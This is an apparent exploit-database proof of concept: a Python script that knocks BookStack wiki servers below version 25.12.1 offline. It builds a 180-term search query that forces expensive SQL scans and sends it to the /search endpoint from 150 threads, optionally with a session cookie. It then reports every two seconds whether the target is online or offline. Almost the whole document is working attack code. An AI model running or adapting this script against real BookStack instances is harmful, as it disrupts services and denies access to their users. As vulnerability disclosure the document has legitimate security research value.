# Exploit Title: BookStack 25.12.1 - Denial of Service Search Terms (Resource Exhaustion) # Date: 2026-04-29 # Exploit Author: Gabriel Rodrigues (TEXUGO) # Vendor Homepage: https://www.bookstackapp.com # Software Link: https://github.com/BookStackApp/BookStack # Version: < 25.12.1 # Tested on: BookStack v25.12 (Docker) + PHP 8.3 + MySQL 8.0 # CVE: Pending (Request ID: 1970573) # References: # https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/ # https://github.com/BookStackApp/BookStack/security/advisories (if any) """ BookStack DoS PoC python3 poc_dos_search.py http://localhost:8080 [cookie] """ import requests, sys, time from urllib.parse import quote from concurrent.futures import ThreadPoolExecutor # Payload: 100 termos + 50 exatos + 30 tags = 180 termos de busca # Gera query SQL com muitos OR LIKE, full table scans e subqueries PAYLOAD = " ".join([f"t{i}" for i in range(100)] + [f'"e{i}"' for i in range(50)] + [f"[t{i}=v{i}]" for i in range(30)]) stop = False def attack(url, headers): s = requests.Session() while not stop: try: s.get(url, headers=headers, timeout=30) except: pass def main(): global stop url = sys.argv[1].rstrip("/") cookie = sys.argv[2] if len(sys.argv) > 2 else None search_url = f"{url}/search?term={quote(PAYLOAD)}" headers = {"Cookie": cookie} if cookie else {} print(f"[*] Query: {PAYLOAD[:80]}...") print(f"[*] URL completa tem {len(search_url)} bytes") print(f"[*] Atacando {url} com 150 threads por 30s\n") with ThreadPoolExecutor(150) as ex: [ex.submit(attack, search_url, headers) for _ in range(150)] for i in range(15): time.sleep(2) try: r = requests.get(url, timeout=3) print(f"[{(i+1)*2:2d}s] ONLINE - {r.status_code}") except requests.exceptions.Timeout: print(f"[{(i+1)*2:2d}s] OFFLINE - TIMEOUT") except: print(f"[{(i+1)*2:2d}s] OFFLINE - CONNECTION ERROR") stop = True if __name__ == "__main__": main()